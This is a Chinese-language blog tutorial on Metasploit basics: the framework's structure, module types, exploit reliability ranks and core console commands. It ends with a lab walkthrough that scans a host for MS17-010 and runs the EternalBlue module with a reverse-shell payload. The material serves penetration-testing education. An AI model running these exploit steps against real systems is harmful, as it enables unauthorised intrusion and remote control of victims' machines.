Metasploit基础教程

Metasploit基础教程

Metasploit 介绍

Metasploit是一款开源的安全漏洞检测工具。它可以帮助用户识别安全问题,验证漏洞的缓解措施,并对某些软件进行安全性评估,提供真正的安全风险情报。

Metasploit 体系框架

image-20220215102446446

基础库:metasploit 基础库文件位于源码根目录路径下的 libraries 目录中,包括 Rex,framework-core 和 framework-base 三部分。

  • Rex 是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实 现、日志子系统、渗透攻击支持例程、PostgreSQL 以及 MySQL 数据库支持等;
  • framework-core 库负责实现所有与各种类型的上层模块及插件的交互接口;
  • framework-base 库扩展了 framework-core,提供更加简单的包装例程,并为处理框架各个方面 的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;

模块:模块组织按照不同的用途分为 6 种类型的模块(Modules): 分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、 编码器模块(Encoders)、空指令模块(Nops)。

注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以 进行程序注入等。

插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。

接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面 以及 msfapi 远程调用接口。

功能程序: metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快 速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C 语言、JavaScript 语言等多种形式,并可以进行各种类型的编码。

Metasploit 漏洞模块

Metasploit 漏洞利用的显示信息如下:

image-20220215114122475

其中rank是指漏洞的可靠性:

RankingDescription
Excellent这个漏洞永远不会使服务崩溃。这是SQL注入,CMD执行,RFI,LFI等的情况。没有典型的内存损坏漏洞应该给这个rank,除非有特殊情况
Great应用程序的返回地址。
Good该exploit具有默认目标,这是这种类型的软件(英语,桌面应用程序的Windows 7,2012的服务器等)的“常见情况”。
Normal这个漏洞是可靠的,但取决于一个特定的版本,不能(或不)可靠地自动检测。这个
Averageexploit通常是不可靠或者很难被利用的。
Low对于通用平台来说,exploit几乎不可能(或者低于50%的成功率)成功。
ManualRanking这个exploit不稳定或难以exploit,基本上是一个DoS。当模块没有用处,除非用户特别配置(例如exploit /unix/webapp/php_eval),这个排名也被使用。

Metasploitable2-Linux 靶机系统介绍

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。

Metasploit 基本使用方法

启动Metasploit

Metasploit 程序需要使用 Postgresql 数据库。

启动数据库:

systemctl start postgresq
systemctl enable postgresql #可以设置成开机启动数据库

启动 Metasploit,启动方式有两种:

  1. 直接点击kali应用里面的图标
  2. 使用指令 msfconsle

启动完成后会有一些统计信息,比如说版本号,有多少个 exploits,多少个 payloads 等。

image-20220215110442333

Metasploit 基本命令

使用help命令查看帮助信息,msf 相关命令可以分成以下类型:

  • Core Commands:核心命令
  • Module Commands:模块命令
  • Job Commands:后台任务命令
  • Resource Script Commands:资源脚本命令
  • Database Backend Commands:数据库后端命令
  • Credentials Backend Commands:证书/凭证后端命令
  • Developer Commands:开发人员命令

connect

connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是connect 192.168.1.1 80

example:

msf5 > connect xuegod.cn 80 #连接上后在另一行,直接输入 get /
[*] Connected to xuegod.cn:80
get / #提交一个 get 请求,可以查看到服务器版本号
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Sat, 29 Jun 2019 09:54:16 GMT
Content-Type: text/html
Content-Length: 172
Connection: close

show

用于展示可用模块,有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options

example:

msf5 > show exploits    # 列出 metasploit 框架中的所有渗透攻击模块
msf5 > show payloads    #列出 metasploit 框架中的所有攻击载荷。
msf5 > show auxiliary    #列出 metasploit 框架中的所有辅助攻击载荷

用于搜索模块内容

example:

  1. 直接查找 search 后直接跟要查找内容,查得很广泛。只有当你对漏洞名字很描述很清楚时,使用这个方法
msf6 > search ms08_067
  1. 通过名字进行查找
msf6 > search name:mysql    #要查找mysql数据库的漏洞
  1. 通过路径进行查找

有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用 path:命令查找在该路径 下的所有模块。如果我要 mysql 路径下的所有 mysql 利用模块,那么就输入:

msf6 > search path:mysql
  1. 通过作用平台进行查找

作用: Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞

msf6 > search platform:mysql
  1. 通过类型进行查找

type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)

msf6 > search type:exploit
  1. 联合查找

大家可以使用上面的参数自行搭配使用。

msf6 > search name:mysql type:exploit
  1. 通过CVE进行搜索
msf6 > search cve:CVE-2017-8464

搜索参数可以组合使用,可以更精准的查询到对应的模块,metasploit 支持模糊查找,不区分大小写,这样大家查找时更方便。

use

使用具体某个模块

msf6 > use windows/smb/ms08_067_netapi

我们可以看到使用 use 装载模块后我们的 bash 提示符会变成对应的模块信息。稍后我们使用这个模 块进行攻击。

back

退出当前调用的模块

info

显示模块相关信息

example:

  1. info + 模块名称
msf6 > use windows/smb/ms08_067_netapi
  1. 装载模块后直接使用 info
image-20220215161219244

从弹出的消息中,需要重点关注的内容是:

(1)可用目标(available targets):就是查看可以攻击哪些操作系统

(2)基本选项(Basic options): 调用漏洞需要的相关参数

(3)描述(Description):漏洞描述和执行过程

(4)参考文档(References)

同样可以使用show命令查看模块相关信息

  1. 查看模块选项:
   msf6 exploit(windows/smb/ms08_067_netapi) > show options
image-20220215162225016
  1. 查看可攻击目标系统
   msf6 exploit(windows/smb/ms08_067_netapi) > show targets
image-20220215162319500

set

用于设置选项中的参数

example:

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.91.1

exploit/run

配置好选项参数之后发起攻击

Metasploit攻击流程

Metasploit攻击流程如下

image-20220215163829366
search xxx        #搜索某个漏洞
use xxx            #使用某个漏洞利用模块
show options    #查看配置选项
set payload        #配置攻击载荷
exploit            #执行渗透攻击
  1. 我们先使用namp网络扫描工具对特定网段进行扫描,对扫描出来的IP和端口进行识别服务,
  2. 然后针对特定端口上的服务使用Metasploit的辅助攻击模块(Auxiliary)扫描该端口是否存在某个特定的漏洞
  3. 得知存在漏洞后利用攻击模块(Exploits)发起攻击

example:

假设已经有某台特定主机IP:192.168.91.158,想利用永恒之蓝漏洞(ms17-010)进行攻击

  1. 先扫描目标是否存在 ms17-010 漏洞
msf6 > search ms17-010    # 搜索辅助攻击模块
image-20220215173846367
  1. 使用 use 命令选中这个模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010
  1. 查看模块需要配置的信息
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
image-20220215174101630
  1. 需要我们配置 RHOST 主机 IP
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.91.158
  1. 开始扫描
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
image-20220215174345867

显示目标看起来易受攻击,也就表示可能存在相关漏洞

  1. 查找并使用攻击模块
msf6 auxiliary(scanner/smb/smb_ms17_010) > search ms17_010
image-20220215175213305

这里提示没有选择payload,默认使用 windows/x64/meterpreter/reverse_tcp 作为 payload

  1. 查看选项
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
image-20220215175702065
  1. 设置目标主机IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.91.158
  1. 设置 payload,这里选择默认的反弹shell
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell
image-20220215180040618

10 . 设置反弹shell的监听IP

msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.91.128
  1. 开始攻击
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit 
image-20220215180616766

成功反弹shell。

会话管理

Metasploit 能够保存会话,可就是能够保存曾经攻击过的靶机保持其链接:

sessions        #会话管理
sessions -l        #列出所有会话
sessions -K        #终止所有会话
sessions -i id    #进入某个会话
sessions -K    id  #终止某个会话
sessions -v        #以详细模式列出会话
sessions -u        #在许多平台上将shell升级到meterpreter会话

在利用的时候想让程序后台运行可使用:

exploit -j

之后再使用sessions即可看到会话;

进入某个会话之后想返回但是不断开链接可以使用background命令

参考资料

一周从零基础到渗透高手Metasploit渗透测试框架

狼组安全团队公开知识库

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇